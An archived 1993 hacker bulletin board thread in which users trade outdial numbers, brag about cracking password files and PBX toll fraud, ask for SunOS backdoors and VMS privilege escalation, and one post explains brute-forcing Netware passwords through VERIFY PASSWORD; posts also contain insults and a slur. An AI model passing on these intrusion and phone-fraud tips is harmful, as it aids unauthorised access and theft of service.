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he cracked 26 user account there! and alot of pw were not find himself
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that his for sure!!! But one my friend good in mathematics stuff tell me
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some routine of deencryptiuon he cracked and it is sometime Mathematicalk
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operation! so if the passw have been encrypt that way it is possible to
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the opposite formula! i can ask my friend for soem formula if yah want!
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Intruder/MYTH+EMPIRE is outta here!!!
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From Green@yabbs Mon Oct 25 20:25:40 1993
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From: Green@yabbs
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To: cosmos@yabbs
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Subject: re: learning
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Date: Mon Oct 25 20:25:40 1993
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Heh. showmount -e cert.org for a good time (the other day they had an
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open export problem, no shit)
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green
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From octal@yabbs Mon Oct 25 23:38:38 1993
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From: octal@yabbs
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To: all@yabbs
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Subject: re: code breakers workshop
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Date: Mon Oct 25 23:38:38 1993
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ftp to cl-next2.cl.msu.edu , look for cbw.tar.Z. It'
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s a pretty old program, for the best crypto ftp site(IMHO), ftp to
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ghost.dsi.unimi.it, it's a killer site.
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From binkley@yabbs Tue Oct 26 00:10:12 1993
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From: binkley@yabbs
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To: all@yabbs
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Subject: pacx.utcs.utoronto.ca
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Date: Tue Oct 26 00:10:12 1993
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Has anybody figured out what area code that out dial serves??
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it called a 615 number, I tried 310, and 708, but could tell if the BBS's
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were busy, or if it wasn't allow the dialing procedure...
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Binkley
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From pharmer@yabbs Tue Oct 26 00:45:17 1993
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From: pharmer@yabbs
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To: binkley@yabbs
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Subject: re: pacx.utcs.utoronto.ca
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Date: Tue Oct 26 00:45:17 1993
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I would take a quess that it is 416, I looked up the # for utoronot
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physics dept. and it was a 416#.
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From cosmos@yabbs Tue Oct 26 06:22:12 1993
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From: cosmos@yabbs
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To: Intruder@yabbs
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Subject: re: oasswd
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Date: Tue Oct 26 06:22:12 1993
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Okay, I have to say the following, your post was just to pathetic.
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First off, you dont know shit about what you are talking about. If to you
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hacking consists of running a passwd file through Killer Cracker then you
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might as well stop now, you have no clue and will never achieve anything.
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Use a cracker to gain one or two accounts. The real hack is the method in
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which you obtain a higher access...but you would not know about that
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whould you...(wait, gotta check my k-rad t-phile!)...do you even know what
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perms you should look for once inside?? What the /dev/kmem file can
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accomplish, the proper rwx attributes for ALL system and user files, what
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to do if they are not right...etc....etc...etc...
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No, I think not. And cut the MYTH+EMPIRE shit, lamer warez crap has no
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place in a forum for hack discussion.
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Cosmos
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From cosmos@yabbs Tue Oct 26 06:24:09 1993
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From: cosmos@yabbs
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To: Intruder@yabbs
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Subject: re: <no title>
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Date: Tue Oct 26 06:24:09 1993
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Oh, c0deZ....excuse me. Same thing, lame as shit.
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Oh, and where in the goddamn hell did you learn to write?? Your post has
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the literary skills of a three year old.
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Cosmos
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From cosmos@yabbs Tue Oct 26 06:24:37 1993
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From: cosmos@yabbs
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To: Green@yabbs
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Subject: re: learning
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Date: Tue Oct 26 06:24:37 1993
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*grin*
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Cosmos
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From wonko@yabbs Tue Oct 26 13:04:40 1993
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From: wonko@yabbs
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To: octal@yabbs
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Subject: re: code breakers workshop
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Date: Tue Oct 26 13:04:40 1993
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another place to look is a penn state computer.
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ftp.cse.psu.edu /pub/src
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i got 4.7 Kbytes/s and we only have a 56Kbyte line to this machine.
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the line from this machine to you is a T3, big fucking trunk line.
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you should get nice speeds. l8r,
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-wonko
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From Intruder@yabbs Tue Oct 26 21:05:34 1993
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From: Intruder@yabbs
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To: binkley@yabbs
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Subject: re: pacx.utcs.utoronto.ca
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Date: Tue Oct 26 21:05:34 1993
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Yo!
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Well pacx ^ it is in toronto and it allow you to call locally there!!! the
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only prolbme wiht this Gandalf system is that the delay is too fast and
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when i try to call some board with v32 or DS it take too much time beofre
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the connection made and the modem tell me NO MODEM RESPONSE or something
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like that! if you call a board working with a HST or a 2400 you will be
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fine!!! i mange to call Beyond Akira that it!!!
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Intruder/MYTH+EMPIRE is outta here!!!
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From cosmos@yabbs Tue Oct 26 21:11:40 1993
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From: cosmos@yabbs
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To: Intruder@yabbs
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Subject: re: pacx.utcs.utoronto.ca
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Date: Tue Oct 26 21:11:40 1993
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Hmmm...maybe set the delay higher...what do you think?
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Cosmos
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From Intruder@yabbs Tue Oct 26 21:12:40 1993
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From: Intruder@yabbs
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To: cosmos@yabbs
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Subject: re: oasswd
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Date: Tue Oct 26 21:12:40 1993
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Hmmm
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hey you really think i am that stupid??? and that i only having fun in a
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cking account and PW??? no fucking way!!! what i find interesting is to
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acces thing i was not permitted by trying all the service doors! or by
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maybe getting a hibher priv. or prop.! I duno much about priv. on UNIX
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system since i just start to learn those system a few month ago! ah maybe
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you are the god on UNIX but maybe i am just starting so cant do everything
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in 24 hours??? and dont tell me you have start to be the master and the
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best in 240 hours!!! and btw chek the hacking definition thye are laot of
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meaning even putting hardware on a none specific machine is consider as a
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hack! anywa that his my point and 2nd do i stress you with my /... is yes
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well ill just sign up with nothing to make you feel better happy now?
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Intruder is outta here!!!
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From cosmos@yabbs Wed Oct 27 05:47:48 1993
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From: cosmos@yabbs
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To: Intruder@yabbs
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Subject: re: oasswd
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Date: Wed Oct 27 05:47:48 1993
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Well, after reading through your post several times(I really do want to
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know where you learned English writing skills), here is a simple reply.
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240 hours...maybe. UNIX king....nope. I am just referring to the general
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feeling after one reads your post, moron. But I do like the fact that you
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did not sign your last post with a lame group sig.
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Maybe it's me, but you newbies(admitted of your own accord) seem to have a
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general lack of initiative. Do you even attmept to visit a library and
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research UNIX, do you know what a library is?? Where do you live, have
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you looked at public access alternatives to play with UNIX...you are
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probably at some university since you have telnet access...play with a
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UNIX account if you have one. Jesus, learning should be 95% your
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responsibility and not anyone elses. Take initiative and get off your
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lazy ass. Ask intelligent and pointed questions aimed at a specific
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problem, not "Hey, I am new...what do I do??".
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Is that asking too much??
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Cosmos
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From binkley@yabbs Wed Oct 27 12:32:19 1993
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From: binkley@yabbs
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To: cosmos@yabbs
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Subject: re: pacx.utcs.utoronto.ca
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Date: Wed Oct 27 12:32:19 1993
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I'm from Maine! I used to call a few 708, and 310 boards, now I can't call
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long distance... I need some 416 boards to call!!!! HELP ME!!!
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From deprogra@yabbs Wed Oct 27 16:17:29 1993
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From: deprogra@yabbs
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To: Intruder@yabbs
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Subject: re: oasswd
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Date: Wed Oct 27 16:17:29 1993
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Intruder, is english a second language to you?
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From jmacneil@yabbs Wed Oct 27 17:17:10 1993
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From: jmacneil@yabbs
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To: binkley@yabbs
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Subject: re: pacx.utcs.utoronto.ca
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Date: Wed Oct 27 17:17:10 1993
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What's the deal w/pacx? All I get is major garbage. I can sort of make
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out the word "Selection" but thats all I can see. What do I do? How
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about some 416 numbers too...
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From jmacneil@yabbs Wed Oct 27 17:29:08 1993
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From: jmacneil@yabbs
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To: all@yabbs
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Subject: ftp
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Date: Wed Oct 27 17:29:08 1993
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Oh yeah, does anyone know of any Telnet sites which allow FTPing over the
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net to PCs (ie: Zmodem DLs..)? I only have Telnet access so far. I've
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picked up a mail address but I still need to find a way to FTP to my PC.
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Thanks.
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From Intruder@yabbs Wed Oct 27 19:18:45 1993
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From: Intruder@yabbs
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To: cosmos@yabbs
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Subject: re: oasswd
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Date: Wed Oct 27 19:18:45 1993
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Yo!
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Ahhh now we seem to get to a good point now!!! ajh sorry if sometime my
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english is bad! 1st of all i am not English native as you can probalby see
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hehehe i am French!!! 2nd i am sometime too fast on the keyz, and dont
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take time to re-read my msg. i know i should do this but sometime those
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connection are so slow!!!
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Well i start to learn thing about unix (yah it is on a university!) i am
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now trying to get familiar with the "DOS" commands, they are so many of
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them!!! And start to walk around on internet with the great help of
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TELNET! and FTP as for the files servers! i have not experiment FSP yet
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since i will have to install that on my system since it is not there! ah
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btw i am now looking in the library since the beginning of this week and i
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find some great book (well i think) so one is about Internet (it is big
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book with adress and services etc.. it look like an annuary (phone book)
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it vcost around $30 dunno if it is worth the money! and one very
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interesting about UNIX it talk about Security on unix systems! i look the
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book and they reall explain in detail and examples how to bypass security
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etc.. where to find the files that are use by the systems! they talk
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about how work the princip of passwd encryption! and much more it cost
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around $40 (about 400 pagexs!) and i might get a general quick reference
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book for unix command!!!!!
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Hmm do you think the 2nd books is really worth the money??? i think so!
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and it will help me to understand how to get trhu soem stuff! anywa if you
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have any refz book you suggest me to read ill appreciate! and since you
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know i am new well good suggestion on what to start! btw my attiude about
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hacking system is not to destroy anything and i am not intending to be a
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terrorist! i am looking more into to be a shadow on the system ! so nobody
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will find me or bother me :-) doing my personal thing hehehe! walking
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around the netz and getting higher to the top!
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I am outta here!!! at WARP 10
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Engage ...
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From Intruder@yabbs Wed Oct 27 19:20:53 1993
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From: Intruder@yabbs
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To: deprogra@yabbs
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Subject: re: oasswd
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Date: Wed Oct 27 19:20:53 1993
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Hmmm
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heheheh yup!!! i can hide the truth! i am a French Canadian!!!
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so that why sometime you see some bad english sorry!!!
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Intruder is outta here!!!
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From schief@yabbs Wed Oct 27 19:28:08 1993
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From: schief@yabbs
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To: jmacneil@yabbs
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Subject: re: ftp
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Date: Wed Oct 27 19:28:08 1993
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try consultant.micro.umn.edu (login gopher) or 128.143.22.36 (login gwis)
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both of these require you to hop around on the net though before you can
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get any working ftp access. Try jumping over to the University of
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Trondheim in Norway or DENet in Denmark, both of these work fine for me.
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I'm in the same boat as you. Sucks, doesn't it?
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From DrClaw@yabbs Thu Oct 28 00:46:24 1993
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From: DrClaw@yabbs
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To: all@yabbs
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Subject: login in as uucp
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Date: Thu Oct 28 00:46:24 1993
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Heya all,
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i just read a message on a local board about login intyo places
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through uucp...now from what i know and have read i don't htink this
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would work to well and even so wyou woulnd't get much privs but
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i am wondering is it possible to upgrade pirvs on a uucp account?
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Once you got in that is...
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thanks
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Dr Claw
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From cosmos@yabbs Thu Oct 28 16:10:28 1993
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From: cosmos@yabbs
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To: jasonlee@yabbs
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Subject: re: oasswd
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Date: Thu Oct 28 16:10:28 1993
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Oh, good point...I didnt mean to try any sensitive stuff on university
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machines...I meant to learn the UNIX commands and methods. I am
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currently under investigation by mine as well. I really dont care, they
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are just upset that I was wandering around. Spoof mail...port 25??? No,
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not me!!! *grin*
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Cosmos
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From xenon@yabbs Thu Oct 28 17:05:30 1993
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From: xenon@yabbs
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To: cosmos@yabbs
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Subject: re: oasswd
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Date: Thu Oct 28 17:05:30 1993
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lucky me...when i wuz foolin round on my first university UNIX account
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tryin all sorts of stupid shit, no one said anything...course, they did
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add a bunch o new security software a little bit ago...damn hackers ;)
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--> Xenon
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From DrClaw@yabbs Thu Oct 28 17:42:25 1993
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From: DrClaw@yabbs
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To: all@yabbs
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Subject: jhu dialout
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Date: Thu Oct 28 17:42:25 1993
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What is the address for the jhu dialout and hyow do i get onto it?
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Also there is a dialout in Denver colorado area code 303
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if anyone wants it mail me at
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newman@suuper.suu.edu and i will gladly give it to you...
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hasta
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Dr Claw
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From ea@yabbs Thu Oct 28 17:46:44 1993
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From: ea@yabbs
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To: cosmos@yabbs
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Subject: re: oasswd
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Date: Thu Oct 28 17:46:44 1993
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I think you have everything pretty well thought out, and I agree with you
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on every account.
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The one thing that should be realized, of course, is that when you are
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learning, (the basics, I mean, everyone is learning), you should realize
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that. The way to learn is to ask, and to talk with other people. If you
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start without talking intelligently, people will never take you seriously
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enough to help you learn.
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If you don't want to learn, or don't have the time to learn, but still
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like hanging out, this too is okay. I'm not great at everything, and
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really don't know much at all, (I'm not sure I have the skill that is
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required), but at least I have respect of those who do have the skill, and
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I realize where they come from, and where I come from..
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The other important point is that unless you gain someone''s trust, and
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they like you, there is no way in hell that you will learn anything,
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because, in general, it is just too risky to trust people.. So if you
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want to leanr, respect those who are further ahead in their field, if you
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don't want to learn, or don't have the time, that is fine to, but then you
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have to realize that.
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I guess that this message should not haave been posted to you, cosmos,
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since you seem to know all of this, but people reading it should just take
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it as general advice....
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Ea, he whom nothing escapes.
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(But who has a tendancy to bable on at times)
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From cosmos@yabbs Thu Oct 28 18:05:39 1993
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From: cosmos@yabbs
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To: xenon@yabbs
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Subject: re: oasswd
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Date: Thu Oct 28 18:05:39 1993
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Yeah, true. I should point out that this is my first LEGIT account...I
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had university accounts in 1985-86 as my first. And you could do
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anyhting....
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Cosmos
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From cosmos@yabbs Thu Oct 28 18:11:59 1993
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From: cosmos@yabbs
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To: ea@yabbs
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Subject: re: oasswd
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Date: Thu Oct 28 18:11:59 1993
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Yes, your post did have a clear and definate point. Unlike Intruder =who
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sounds like a three year old retarded fuck. My point is that there is no
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point to what he posts, just mindless rambling with no semblance of common
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sense. If one asks a relavant and inteligently phrased question then it
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merits an intelligent reply...unfortunately I have not seen many yet.
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Cosmos
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From xenon@yabbs Thu Oct 28 18:55:43 1993
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From: xenon@yabbs
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To: cosmos@yabbs
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Subject: re: oasswd
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Date: Thu Oct 28 18:55:43 1993
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this discussion reminds me of the new user questioneer discussion posted
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earlier. one of the defenses for having one of these rediulous
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questioneers was to keep users like this intruder fellow away so
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the" could talk in peace. i wont rehash everything that wuz said cuz its
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all on disk if ya wanna go back and look.
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my point is, intruder came on here and wasnt informed enuff in his BSing
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so that other users could instantly tell that he was a beginner. everyone
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makes mistakes and the smart ones will learn from their mistakes.
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inturder received a quick,light, and deserved ride down to earth from the
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users who bothered to respond. if hes smart, hell keep his mouth shut and
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learn from the numerous resources on the internet. if hes smart, he will
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learn from this experiance and his next questions will be phrased in a
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more humble and intelligent way. Im not sayin that intruder SHOULDNT ask
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quetions, im sayin that he should do sum learning and research on his own
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before asking those questions. im not sayin that itll be a quick ride,
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ive been hacking round on computers fer YEARS and I still dont know shit.
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if ya really wanna know, ya gotta put a lot of time and effort into it and
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dont act as if yer gods gift to the hackers. stay cool...chill...and
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observe. keep yer senses open and digest everything you can...
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ok, intruder fucked up. thats still no reason fer those questioneers that
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can reach pages in length. he got his reward fer acting brash...and if it
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keeps happening...im sure hell get more than just a tounge lashing. who
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knows what hell become in a few years, tho. the "underground" needs to
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keep its member list growing and those people strong. its gonna be a
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tough ride, but its sumthin that NEEDS to be done to keep Big Brother out
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of our lives...
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stay /<ewl...stay /<alm...and stay togeather
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--> Xenon
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From graph-x@yabbs Thu Oct 28 18:57:51 1993
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From: graph-x@yabbs
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To: Intruder@yabbs
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Subject: re: pacx.utcs.utoronto.ca
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Date: Thu Oct 28 18:57:51 1993
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can you post the number to byeond Akira ?
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From graph-x@yabbs Thu Oct 28 18:59:56 1993
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From: graph-x@yabbs
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To: jmacneil@yabbs
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Subject: re: pacx.utcs.utoronto.ca
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Date: Thu Oct 28 18:59:56 1993
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dude, strip the high bits, then you wont be seeing garbage.
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From jasonlee@yabbs Thu Oct 28 20:23:42 1993
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From: jasonlee@yabbs
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To: DrClaw@yabbs
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Subject: re: jhu dialout
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Date: Thu Oct 28 20:23:42 1993
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It no longer works. I don't think it ever did. At least, I never got it
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to work correctly (dial out). I could give it AT commands, though. Give
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up on it. Try to find the anonymous JHU telnet. ;)
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JasonLee
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From Intruder@yabbs Thu Oct 28 21:13:18 1993
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From: Intruder@yabbs
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To: all@yabbs
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Subject: ok!
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Date: Thu Oct 28 21:13:18 1993
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Hmm well i just reead through all this mail!!! na di find it very
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interesting!!! and i am taking your advice seriously!!! soory i fi make
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some people mad and if i do errors, but you know we are all humans ! well
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i hope so!!! :-) so now i am learning from my erros!!!
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Hmm something i ask question they are thing i try but since i had no
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success and find no documentation well i ask some people that have more
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knowledge than me to help me out!!!
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Like i said before i am now trying to getting documents to help me
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learning!!! coz i want to learn!!! the only thing i will appreciate from
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you guyz is to give me some suggestion of book of references i can look or
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read and will teach me and that help me to find my answers so i dont have
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to ask stupid question to everybodsy!~!! i find a book about security on
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unix systems and i wonder if it was a good thing to buy $40!!! anywa if
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any of you have any suggestion to help me to follow the good road and
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become a sage one!!! thbanks for you comprehension and collaboration!
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I am outta here!!!
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From Intruder@yabbs Thu Oct 28 21:17:12 1993
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From: Intruder@yabbs
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To: graph-x@yabbs
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Subject: hmm
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Date: Thu Oct 28 21:17:12 1993
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Ok the # for Beyond Akjira are
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416-461-6702
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416-461-9101
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416-461-5114 (this one you will get no problem to connect it!)
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The only problem i got while calling there is that the Gandalf Modem have
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a too low delay for connection so when calling a board with a Dual
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Standard it take too much toime to get the connection if you find any way
|
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to change setup of the delay please let me know!!!
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Im outta here!!!
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From bruce@yabbs Thu Oct 28 21:22:47 1993
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From: bruce@yabbs
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To: puck@yabbs
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Subject: BATMAN
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Date: Thu Oct 28 21:22:47 1993
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iT HAS BEEN HELL GETING ONTO THIS SYSTEM my computer is double entering
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everyth time I hit the dam button. no one is out in computer land I'm sad!
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From bruce@yabbs Thu Oct 28 21:23:44 1993
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From: bruce@yabbs
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To: BATMAN@yabbs
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Subject: Hi
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Date: Thu Oct 28 21:23:44 1993
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it is I your other half what is up sexy?
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From DrClaw@yabbs Fri Oct 29 00:35:39 1993
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From: DrClaw@yabbs
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To: all@yabbs
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Subject: 303 dialout
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Date: Fri Oct 29 00:35:39 1993
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heya ll,
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thos i gave the 303 dialout address to it is now asking for passwords
|
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and accounts and i have no idea how to pass these...up until last week
|
|
ther was
|
|
no passwords and stuff.... who knows?
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sorry about that....
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dr_claw
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From cosmos@yabbs Fri Oct 29 03:19:04 1993
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From: cosmos@yabbs
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To: xenon@yabbs
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Subject: re: oasswd
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Date: Fri Oct 29 03:19:04 1993
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Good point. As for the underground, I wouldnt know. I am an
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individualist; I belong to no organizations. No groups, nada. I do
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things my way and for myself. Groups are the first step toward Big
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|
Brother...
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Read "Self-Reliance" by Ralph Waldo Emerson...sorry intruder, it doesnt
|
|
have pictures.
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Cosmos
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From phragger@yabbs Fri Oct 29 09:03:32 1993
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From: phragger@yabbs
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To: Intruder@yabbs
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Subject: re: oasswd
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Date: Fri Oct 29 09:03:32 1993
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Just a note here. GOOD unix books are definelty "The Design of the UNIX
|
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Operating System" and "Design and implementation of the BSD 4.3". Unix
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|
network programmin is also supposed to be quite good, they mainly deal w/
|
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kernel programming and how the system works. Ad for unix security books,
|
|
the ones I`ve gone through are quite pathetic , they simply
|
|
tell about old buhgs sometimes patched, general principles , setuids,
|
|
and some scripts one might create. (worse than Cert, almost, but not
|
|
quite)
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From phragger@yabbs Fri Oct 29 09:09:28 1993
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From: phragger@yabbs
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To: DrClaw@yabbs
|
|
Subject: re: login in as uucp
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Date: Fri Oct 29 09:09:28 1993
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it`as gotta be a pretty old system for uucp accounts to be "loginable" and
|
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to even jhave shell on the system. What you might look at is that uucp
|
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ermissions are screwed or uux permiussions are screwed, bnut I`d doubt
|
|
that you gould
|
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get much higher access till root happens to run one of those programs.
|
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(which I believe cron might do, IU do not know). Bides UUCP is dying,
|
|
NNTP,SMTP and ftp are taking ovI know there are quite a lot of UUCP
|
|
only sites on the net, but it wouldn't surprise me that some systems might
|
|
have disabled UUCP access from the outside completly (never seen it
|
|
anywhere
|
|
though).
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I`d be interested in any contradictoruy information (esp3cialluy on the
|
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first statements :-).
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From phragger@yabbs Fri Oct 29 09:17:09 1993
|
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From: phragger@yabbs
|
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To: Intruder@yabbs
|
|
Subject: re: ok!
|
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Date: Fri Oct 29 09:17:09 1993
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Just to add something here, to get comfortable w/ unix, I`d seriously
|
|
suggest just downloading all the manpages one can find and read them and
|
|
play
|
|
around / them, it`ll certainly teach you a lot (humility among other
|
|
things :-)
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From horus@yabbs Fri Oct 29 13:06:19 1993
|
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From: horus@yabbs
|
|
To: DrClaw@yabbs
|
|
Subject: re: 303 dialout
|
|
Date: Fri Oct 29 13:06:19 1993
|
|
|
|
why don't you use pgp encrpyt it and e-mail it to the guy. you could use
|
|
his handle as the key.
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|
|
Horus Min /\o/\
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From binkley@yabbs Fri Oct 29 23:38:14 1993
|
|
From: binkley@yabbs
|
|
To: jmacneil@yabbs
|
|
Subject: re: pacx.utcs.utoronto.ca
|
|
Date: Fri Oct 29 23:38:14 1993
|
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|
|
Well, post a few 416 BBS's then man! You need vti925 emulation...
|
|
aokln
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|
Binkley
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From Screamin@yabbs Sat Oct 30 06:13:09 1993
|
|
From: Screamin@yabbs
|
|
To: all@yabbs
|
|
Subject: <no title>
|
|
Date: Sat Oct 30 06:13:09 1993
|
|
|
|
Just a quick hello from Australia. Wondering if youu guys could list some
|
|
1-800 carriers for me. Don't care what they are, just as long as they'll
|
|
pickup.
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|
|
ta
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|
Screaming Mutant
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From Intruder@yabbs Sat Oct 30 11:09:56 1993
|
|
From: Intruder@yabbs
|
|
To: phragger@yabbs
|
|
Subject: re: oasswd
|
|
Date: Sat Oct 30 11:09:56 1993
|
|
|
|
Hmm!!!
|
|
|
|
Thanks! ill tyr to find one of this book, i am sure i can one hehe
|
|
especially the place i go to get book is quite huge and have alot of book
|
|
about UNIX!!! hmm well myabe the unix security probably relating bugs
|
|
fixed! hmm but i look carefully and it seem they explain asll the
|
|
security systems how it works! they dont necessary tell you what to do to
|
|
bypass it it can tell you soem good tips!!! ill maybe buy both :-)(
|
|
They should have some UNIX machine at college, they are on VMS! and they
|
|
are not connected to any external things but i can get all the book i want
|
|
for that system i know the ops hehehe!
|
|
|
|
Intruder is outta here!!!
|
|
|
|
From Intruder@yabbs Sat Oct 30 11:12:44 1993
|
|
From: Intruder@yabbs
|
|
To: phragger@yabbs
|
|
Subject: re: ok!
|
|
Date: Sat Oct 30 11:12:44 1993
|
|
|
|
Ah!
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|
|
|
yah that his a good ideas to get the manual online form unix and to
|
|
buffere it!!! hehe it will be long but very usefull!!! insted of going to
|
|
buy a book of around 50$ and more!!! Yah i alread look there when i look
|
|
for commands and how to do some thing! but soemthing that make me mad coz
|
|
on the system i am connected dont have all the stuff installed and
|
|
something it tell me Unknown command!!!
|
|
|
|
Intruder is outta here!!!
|
|
|
|
From rlion@yabbs Sat Oct 30 21:42:47 1993
|
|
From: rlion@yabbs
|
|
To: all@yabbs
|
|
Subject: it seems
|
|
Date: Sat Oct 30 21:42:47 1993
|
|
|
|
that all the boards near me (va/dc/md) are gone, at least all the good
|
|
ones. pentavia's down, solsbury hill is semi-down and reclamtion is
|
|
gone. it really kind of sucks.
|
|
*sigh*
|
|
|
|
rl
|
|
|
|
From bigK@yabbs Sat Oct 30 22:58:22 1993
|
|
From: bigK@yabbs
|
|
To: all@yabbs
|
|
Subject: New
|
|
Date: Sat Oct 30 22:58:22 1993
|
|
|
|
hello, I'm new to the nets.ahem...anyway I was wondering what good are
|
|
gophers??
|
|
|
|
To The Point I Say....
|
|
bigK
|
|
|
|
From =pc=@yabbs Sun Oct 31 00:06:04 1993
|
|
From: =pc=@yabbs
|
|
To: all@yabbs
|
|
Subject: H/P/C/A bbs in OZ
|
|
Date: Sun Oct 31 00:06:04 1993
|
|
|
|
|
|
hIya all,
|
|
|
|
is the distribution of H/P/C/A/ files legal?if so what are the conditions
|
|
and/or regulations/.
|
|
|
|
=PC= /keep on phreaking/
|
|
|
|
|
|
From rlion@yabbs Sun Oct 31 00:31:11 1993
|
|
From: rlion@yabbs
|
|
To: all@yabbs
|
|
Subject: re: New
|
|
Date: Sun Oct 31 00:31:11 1993
|
|
|
|
gophers make it possible to have access to a lot of information
|
|
and sometimes other sites on the net annoymously and free.
|
|
nlah
|
|
|
|
rl
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|
|
|
From rlion@yabbs Sun Oct 31 00:32:37 1993
|
|
From: rlion@yabbs
|
|
To: =pc=@yabbs
|
|
Subject: re: H/P/C/A bbs in OZ
|
|
Date: Sun Oct 31 00:32:37 1993
|
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|
|
|
|
check the 1st ammendemnt. of course they are legal. there are no
|
|
regulations about the spread of information. of coure, i wouldn't
|
|
hand it to a FED and say, "hear read this"? and i'd put at the top
|
|
this is for your information and i don't mean it to be anyway
|
|
illegal, just to be safe, but technically speeking, those kinds of
|
|
'files' belong under 'freedom of the press'
|
|
|
|
rk
|
|
rl
|
|
|
|
From Screamin@yabbs Sun Oct 31 00:33:10 1993
|
|
From: Screamin@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: <no title>
|
|
Date: Sun Oct 31 00:33:10 1993
|
|
|
|
I just need the 800 to test a local dialout on some uni...
|
|
I'm connected through a couple of unis so ANI isn't much of a threat..
|
|
|
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|
|
From pyro@yabbs Mon Nov 1 13:16:11 1993
|
|
From: pyro@yabbs
|
|
To: all@yabbs
|
|
Subject: Stuff...
|
|
Date: Mon Nov 1 13:16:11 1993
|
|
|
|
To the person i was chatting with the other nite about picking up some
|
|
stuff via FTP: Sorry, I got so busy I forgot to get it on to the site.
|
|
If yo. If you still have the info for logging on please try again. I
|
|
will leave the stuff on there for awhile.
|
|
|
|
And no, everyone, its not illegal. So there...
|
|
|
|
Why do people insist on posting stupid thing like that last post? Don't
|
|
they realize this is apublic BBS and no one gives a damn about giving them
|
|
damn codes or shit like that? Oh well. What is this world coming to.
|
|
|
|
-Pyro
|
|
-Oldtimers, Inc.
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|
|
|
From moth@yabbs Tue Nov 2 05:21:10 1993
|
|
From: moth@yabbs
|
|
To: greywolf@yabbs
|
|
Subject: Call overseas
|
|
Date: Tue Nov 2 05:21:10 1993
|
|
|
|
I dont know what GOD is but I have got a suggestion fo International
|
|
calls. I know blue boxing is very much dead but maybe you will get lucky
|
|
on international line.
|
|
You can always call a toll-free number in the US connecting you to a
|
|
operator in a foreign country like Japan or Singapore. From there you
|
|
might have some luck with a blue box.
|
|
By the way what is GOD ?
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|
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|
|
Cheers
|
|
Moth.
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|
From binkley@yabbs Tue Nov 2 11:17:04 1993
|
|
From: binkley@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: all
|
|
Date: Tue Nov 2 11:17:04 1993
|
|
|
|
pacx.utcs.utoronto.ca
|
|
th16-461- 1-6702/9101/5114 are no good, I dialed to 2 of them, and got
|
|
timeouts, and I coneee
|
|
|
|
that's connected to 1 and it said 9600 or higher only...
|
|
|
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|
|
From swami@yabbs Tue Nov 2 17:38:10 1993
|
|
From: swami@yabbs
|
|
To: all@yabbs
|
|
Subject: PBX hacking
|
|
Date: Tue Nov 2 17:38:10 1993
|
|
|
|
|
|
I need a decent PBX hacker. I tried to get code thief to do what I
|
|
want, but it's not really designed to hack PBXs. Don't want to
|
|
reinvent the wheel,, someone point me in the right direction?
|
|
|
|
swami
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|
|
From xenon@yabbs Tue Nov 2 19:03:48 1993
|
|
From: xenon@yabbs
|
|
To: moth@yabbs
|
|
Subject: re: Call overseas
|
|
Date: Tue Nov 2 19:03:48 1993
|
|
|
|
GOD stands fer Global OutDial...
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|
|
try blue boxing from home...its fun!
|
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|
|
From jasonlee@yabbs Tue Nov 2 19:07:15 1993
|
|
From: jasonlee@yabbs
|
|
To: swami@yabbs
|
|
Subject: re: PBX hacking
|
|
Date: Tue Nov 2 19:07:15 1993
|
|
|
|
Hmmmm...I don't have a PBX hacker, but you just reminded me of how much
|
|
fun our PBX at school is. Most of our LD phone calls were made on the
|
|
school's bill. Luckily, I was somehow more secret than my friends, cuz
|
|
they all got caught for doing it, but not me. Well, they bugged me about
|
|
one call, one which I didn't actually make! So, I just told them I knew
|
|
nothing, and got off clean....hm, wow that was a waste of typing...
|
|
|
|
JasonLee
|
|
|
|
From wonko@yabbs Tue Nov 2 20:52:57 1993
|
|
From: wonko@yabbs
|
|
To: all@yabbs
|
|
Subject: SunOS UNIX
|
|
Date: Tue Nov 2 20:52:57 1993
|
|
|
|
anyone know any backdoors/default logins/etc.
|
|
for SunOS UNIX (version unknown)
|
|
|
|
thanks,
|
|
|
|
-wonko
|
|
|
|
From *@yabbs Tue Nov 2 21:53:22 1993
|
|
From: *@yabbs
|
|
To: all@yabbs
|
|
Subject: VMS
|
|
Date: Tue Nov 2 21:53:22 1993
|
|
|
|
Hi all I'm fairly new at this but say hypothetically of course that the
|
|
local u had a vax running vms 5.5-2. Now again hypothetically I wanted to
|
|
get into it but I only knew one back door that will get me into a very
|
|
limited account....now say I wanted to get a really nice account on htis
|
|
system i.e. full user privs...can anybody help me get started on how to
|
|
deal with this purely hypothetical situation???
|
|
|
|
From DrClaw@yabbs Tue Nov 2 23:57:55 1993
|
|
From: DrClaw@yabbs
|
|
To: all@yabbs
|
|
Subject: password file
|
|
Date: Tue Nov 2 23:57:55 1993
|
|
|
|
anyone know what the name fof netwares password file is?
|
|
I really need to know... this...
|
|
thanks
|
|
Dr_claw
|
|
|
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|
|
From cosmos@yabbs Wed Nov 3 05:28:45 1993
|
|
From: cosmos@yabbs
|
|
To: swami@yabbs
|
|
Subject: re: PBX hacking
|
|
Date: Wed Nov 3 05:28:45 1993
|
|
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|
|
*grin*
|
|
|
|
Cosmos
|
|
|
|
From phragger@yabbs Wed Nov 3 12:39:18 1993
|
|
From: phragger@yabbs
|
|
To: moth@yabbs
|
|
Subject: re: Call overseas
|
|
Date: Wed Nov 3 12:39:18 1993
|
|
|
|
Try Honolulu, might give you a lousy connection, but it oughta work.
|
|
GOD = Global Out Dial
|
|
|
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|
|
From johndeer@yabbs Wed Nov 3 19:52:57 1993
|
|
From: johndeer@yabbs
|
|
To: all@yabbs
|
|
Subject: re: Call overseas
|
|
Date: Wed Nov 3 19:52:57 1993
|
|
|
|
rlion:
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|
|
|
so what do you call then in dc/md/va?
|
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intruder:
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allez-vous un bibliotheque.
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jasonlee:
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so the site you're on logs the telnets to port 25?
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dr. claw:
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it's stored in Netware's bindery. it's encrypted. use novell's VERIFY
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PASSWORD command to query the bindery, it can be brute-forced this way.
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john Deere
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[sorry abouyt all the spaces, my upload skrewed up]
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From mindstrm@yabbs Wed Nov 3 20:22:58 1993
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From: mindstrm@yabbs
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To: all@yabbs
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Subject: re: SunOS UNIX
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Date: Wed Nov 3 20:22:58 1993
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You know... It really surprises me to think that people will come right
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out and ask for stuff like this (read: security holes...). If you don't
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konw any, well, I just don't think a public posting is a good idea.
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People who DO know about such things tend NOT to reply to public
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anonymous postings...
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It's my imprtession that this is NOT an Elite Hacker board... which is
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the only place you'll find this kind of stuff...
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Then, of course, I could just be drunk and rambling ...
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+The Glory Days Are Over+
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-mindstrm
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From jasonlee@yabbs Wed Nov 3 21:33:14 1993
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From: jasonlee@yabbs
